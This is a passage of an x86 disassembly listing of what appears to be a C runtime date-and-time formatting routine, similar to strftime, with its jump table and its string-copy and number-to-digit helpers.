		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_443C7C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_42EC08
		cmp	[ebp+var_C], 1
		jbe	short loc_42EC08
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_42EC08:				; CODE XREF: sub_42EAE0+FBj
					; sub_42EAE0+101j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_42EC2D:				; CODE XREF: sub_42EAE0+DEj
		jmp	loc_42EB41
; ---------------------------------------------------------------------------


loc_42EC32:				; CODE XREF: sub_42EAE0+65j
					; sub_42EAE0:loc_42EB61j
		cmp	[ebp+var_8], 0
		jz	short loc_42EC44
		push	13h
		call	sub_41B820
		add	esp, 4
		jmp	short loc_42EC4F
; ---------------------------------------------------------------------------


loc_42EC44:				; CODE XREF: sub_42EAE0+156j
		push	offset dword_4DB45C
		call	near ptr 2840C7Bh
		nop


loc_42EC4F:				; CODE XREF: sub_42EAE0+162j
		cmp	[ebp+var_C], 0
		jbe	short loc_42EC63
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_C]
		jmp	short loc_42EC65
; ---------------------------------------------------------------------------


loc_42EC63:				; CODE XREF: sub_42EAE0+173j
		xor	eax, eax


loc_42EC65:				; CODE XREF: sub_42EAE0+181j
		mov	esp, ebp
		pop	ebp
		retn
sub_42EAE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EC70	proc near		; CODE XREF: sub_42EAE0+CDp
					; sub_42F440+3ECp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		movsx	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 25h
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 55h
		ja	loc_42F1D8
		mov	eax, [ebp+var_C]
		xor	edx, edx
		mov	dl, byte_42F239[eax]
		jmp	off_42F1DD[edx*4]


loc_42ECA3:				; DATA XREF: ___:0042F20Do
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_42F290
		add	esp, 0Ch
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42ECC5:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F1E1o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+1Ch]
		push	eax
		call	sub_42F290
		add	esp, 0Ch
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42ECE8:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F211o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		call	sub_42F290
		add	esp, 0Ch
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42ED0B:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F1E5o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		call	sub_42F290
		add	esp, 0Ch
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42ED2E:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F215o
		cmp	dword_4DB450, 0
		jz	short loc_42EDB6
		mov	dword_4DB450, 0
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A4h]
		push	eax
		call	sub_42F440
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_42ED70
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42ED70:				; CODE XREF: sub_42EC70+F9j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax
		call	sub_42F440
		add	esp, 14h
		jmp	short loc_42EE29
; ---------------------------------------------------------------------------


loc_42EDB6:				; CODE XREF: sub_42EC70+C5j
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A0h]
		push	eax
		call	sub_42F440
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_42EDE5
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42EDE5:				; CODE XREF: sub_42EC70+16Ej
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax
		call	sub_42F440
		add	esp, 14h


loc_42EE29:				; CODE XREF: sub_42EC70+144j
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42EE2E:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F219o
		mov	ecx, dword_4DB450
		mov	dword_4DB454, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_42F2E0
		add	esp, 10h
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42EE58:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F1E9o
		mov	eax, dword_4DB450
		mov	dword_4DB454, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		push	ecx
		call	sub_42F2E0
		add	esp, 10h
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42EE80:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F1EDo
		mov	edx, dword_4DB450
		mov	dword_4DB454, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		cdq
		mov	ecx, 0Ch
		idiv	ecx
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jnz	short loc_42EEAA
		mov	[ebp+var_4], 0Ch


loc_42EEAA:				; CODE XREF: sub_42EC70+231j
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42F2E0
		add	esp, 10h
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42EEC5:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F21Do
		mov	edx, dword_4DB450
		mov	dword_4DB454, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	3
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		add	eax, 1
		push	eax
		call	sub_42F2E0
		add	esp, 10h
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42EEF2:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F221o
		mov	ecx, dword_4DB450
		mov	dword_4DB454, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		add	edx, 1
		push	edx
		call	sub_42F2E0
		add	esp, 10h
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42EF1F:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F1F1o
		mov	eax, dword_4DB450
		mov	dword_4DB454, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_42F2E0
		add	esp, 10h
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42EF47:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F225o
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+8], 0Bh
		jg	short loc_42EF6C
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+98h]
		push	eax
		call	sub_42F290
		add	esp, 0Ch
		jmp	short loc_42EF86
; ---------------------------------------------------------------------------


loc_42EF6C:				; CODE XREF: sub_42EC70+2DEj
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+9Ch]
		push	ecx
		call	sub_42F290
		add	esp, 0Ch


loc_42EF86:				; CODE XREF: sub_42EC70+2FAj
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42EF8B:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F1F5o
		mov	edx, dword_4DB450
		mov	dword_4DB454, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		push	eax
		call	sub_42F2E0
		add	esp, 10h
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42EFB4:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F1F9o
		mov	ecx, dword_4DB450
		mov	dword_4DB454, ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		mov	[ebp+var_8], eax
		jmp	short loc_42F01D
; ---------------------------------------------------------------------------


loc_42EFCB:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F229o
		mov	ecx, dword_4DB450
		mov	dword_4DB454, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	1
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_42F2E0
		add	esp, 10h
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42EFF5:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F1FDo
		mov	eax, dword_4DB450
		mov	dword_4DB454, eax
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_42F011
		mov	[ebp+var_8], 6
		jmp	short loc_42F01D
; ---------------------------------------------------------------------------


loc_42F011:				; CODE XREF: sub_42EC70+396j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		sub	eax, 1
		mov	[ebp+var_8], eax


loc_42F01D:				; CODE XREF: sub_42EC70+359j
					; sub_42EC70+39Fj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+1Ch]
		cmp	edx, [ebp+var_8]
		jge	short loc_42F031
		mov	[ebp+var_4], 0
		jmp	short loc_42F05E
; ---------------------------------------------------------------------------


loc_42F031:				; CODE XREF: sub_42EC70+3B6j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		cmp	edx, [ebp+var_8]
		jl	short loc_42F05E
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42F05E:				; CODE XREF: sub_42EC70+3BFj
					; sub_42EC70+3E3j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_42F2E0
		add	esp, 10h
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42F079:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F22Do
		cmp	dword_4DB450, 0
		jz	short loc_42F0B0
		mov	dword_4DB450, 0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A4h]
		push	edx
		call	sub_42F440
		add	esp, 14h
		jmp	short loc_42F0D2
; ---------------------------------------------------------------------------


loc_42F0B0:				; CODE XREF: sub_42EC70+410j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A0h]
		push	edx
		call	sub_42F440
		add	esp, 14h


loc_42F0D2:				; CODE XREF: sub_42EC70+43Ej
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42F0D7:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F201o
		mov	dword_4DB450, 0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A8h]
		push	edx
		call	sub_42F440
		add	esp, 14h
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42F108:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F231o
		mov	eax, dword_4DB450
		mov	dword_4DB454, eax
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42F2E0
		add	esp, 10h
		jmp	loc_42F1D8
; ---------------------------------------------------------------------------


loc_42F13E:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F205o
		mov	edx, dword_4DB450
		mov	dword_4DB454, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	ecx, eax
		add	ecx, 13h
		imul	ecx, 64h
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+14h]
		cdq
		mov	esi, 64h
		idiv	esi
		add	ecx, edx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_42F2E0
		add	esp, 10h
		jmp	short loc_42F1D8
; ---------------------------------------------------------------------------


loc_42F18B:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:0042F209o
		call	sub_428EB0
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		cmp	dword ptr [edx+20h], 0
		setnz	al
		mov	ecx, off_44456C[eax*4]
		push	ecx
		call	sub_42F290
		add	esp, 0Ch
		jmp	short loc_42F1D8
; ---------------------------------------------------------------------------


loc_42F1B6:				; CODE XREF: sub_42EC70+2Cj
					; DATA XREF: ___:off_42F1DDo
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	25h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx


loc_42F1D8:				; CODE XREF: sub_42EC70+1Bj
					; sub_42EC70+2Cj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42EC70	endp

; ---------------------------------------------------------------------------
off_42F1DD	dd offset loc_42F1B6	; DATA XREF: sub_42EC70+2Cr
		dd offset loc_42ECC5
		dd offset loc_42ED0B
		dd offset loc_42EE58
		dd offset loc_42EE80
		dd offset loc_42EF1F
		dd offset loc_42EF8B
		dd offset loc_42EFB4
		dd offset loc_42EFF5
		dd offset loc_42F0D7
		dd offset loc_42F13E
		dd offset loc_42F18B
		dd offset loc_42ECA3
		dd offset loc_42ECE8
		dd offset loc_42ED2E
		dd offset loc_42EE2E
		dd offset loc_42EEC5
		dd offset loc_42EEF2
		dd offset loc_42EF47
		dd offset loc_42EFCB
		dd offset loc_42F079
		dd offset loc_42F108
		dd offset loc_42F1D8
byte_42F239	db 0			; DATA XREF: sub_42EC70+26r
		dw 1616h
		dd 6 dup(16161616h), 16020116h,	16161616h, 16160403h, 16160516h
		dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h
		dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h
		dd 0CC0B1514h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F290	proc near		; CODE XREF: sub_42EC70+48p
					; sub_42EC70+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp


loc_42F293:				; CODE XREF: sub_42F290+44j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 0
		jz	short loc_42F2D6
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_42F2D6
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jmp	short loc_42F293
; ---------------------------------------------------------------------------


loc_42F2D6:				; CODE XREF: sub_42F290+9j
					; sub_42F290+13j
		pop	ebp
		retn
sub_42F290	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F2E0	proc near		; CODE XREF: sub_42EC70+1DBp
					; sub_42EC70+203p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		cmp	dword_4DB454, 0
		jz	short loc_42F30A
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42F390
		add	esp, 0Ch
		jmp	short loc_42F389
; ---------------------------------------------------------------------------


loc_42F30A:				; CODE XREF: sub_42F2E0+12j
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [eax]
		jnb	short loc_42F380
		mov	edx, [ebp+arg_4]
		sub	edx, 1
		mov	[ebp+arg_4], edx
		jmp	short loc_42F328
; ---------------------------------------------------------------------------


loc_42F31F:				; CODE XREF: sub_42F2E0+82j
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax


loc_42F328:				; CODE XREF: sub_42F2E0+3Dj
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		test	ecx, ecx
		jz	short loc_42F364
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		add	edx, 30h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	eax, [ebp+arg_4]
		mov	[ecx+eax], dl
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42F31F
; ---------------------------------------------------------------------------


loc_42F364:				; CODE XREF: sub_42F2E0+50j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		jmp	short loc_42F389
; ---------------------------------------------------------------------------


loc_42F380:				; CODE XREF: sub_42F2E0+32j
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 0


loc_42F389:				; CODE XREF: sub_42F2E0+28j
					; sub_42F2E0+9Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_42F2E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F390	proc near		; CODE XREF: sub_42F2E0+20p

var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx], 1
		jbe	short loc_42F3EB


loc_42F3A6:				; CODE XREF: sub_42F390+59j
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jle	short loc_42F3EB
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx], 1
		ja	short loc_42F3A6


loc_42F3EB:				; CODE XREF: sub_42F390+14j
					; sub_42F390+51j
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_42F404:				; CODE XREF: sub_42F390+A6j
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ebp+var_C], al
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		mov	al, [ebp+var_C]
		mov	[edx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+var_4]
		jb	short loc_42F404
		mov	esp, ebp
		pop	ebp
		retn
sub_42F390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F440	proc near		; CODE XREF: sub_42EC70+EBp
					; sub_42EC70+13Cp ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h


loc_42F446:				; CODE XREF: sub_42F440+2EAj
					; sub_42F440:loc_42F80Bj ...
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_42F8BC
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jz	loc_42F8BC
		mov	[ebp+var_8], 0
		mov	dword_4DB454, 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_42F486
; ---------------------------------------------------------------------------


loc_42F47D:				; CODE XREF: sub_42F440+5Fj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_42F486:				; CODE XREF: sub_42F440+3Bj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		cmp	eax, edx
		jnz	short loc_42F4A1
		jmp	short loc_42F47D
; ---------------------------------------------------------------------------


loc_42F4A1:				; CODE XREF: sub_42F440+5Dj
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		sub	edx, 27h
		mov	[ebp+var_14], edx
		cmp	[ebp+var_14], 52h
		ja	loc_42F810
		mov	ecx, [ebp+var_14]
		xor	eax, eax
		mov	al, byte_42F8EC[ecx]
		jmp	off_42F8C0[eax*4]


loc_42F4D8:				; DATA XREF: ___:0042F8CCo
		mov	edx, [ebp+var_C]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		sub	eax, 1
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 3
		ja	short loc_42F511
		mov	ecx, [ebp+var_18]
		jmp	dword ptr loc_42F93F[ecx*4]
		mov	dword_4DB454, 1


loc_42F501:				; CODE XREF: sub_42F440+B0j
		mov	[ebp+var_8], 6Dh
		jmp	short loc_42F511
; ---------------------------------------------------------------------------


loc_42F507:				; CODE XREF: sub_42F440+B0j
		mov	[ebp+var_8], 62h
		jmp	short loc_42F511
; ---------------------------------------------------------------------------


loc_42F50D:				; CODE XREF: sub_42F440+B0j
		mov	[ebp+var_8], 42h


loc_42F511:				; CODE XREF: sub_42F440+ABj
					; sub_42F440+C5j ...
		jmp	loc_42F810
; ---------------------------------------------------------------------------


loc_42F516:				; CODE XREF: sub_42F440+91j
					; DATA XREF: ___:0042F8D0o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 3
		ja	short loc_42F54F
		mov	ecx, [ebp+var_1C]
		jmp	dword ptr loc_42F94A+5[ecx*4]


loc_42F535:				; CODE XREF: sub_42F440+B0j
		mov	dword_4DB454, 1


loc_42F53F:				; CODE XREF: sub_42F440+B0j
					; sub_42F440+EEj
		mov	[ebp+var_8], 64h
		jmp	short loc_42F54F
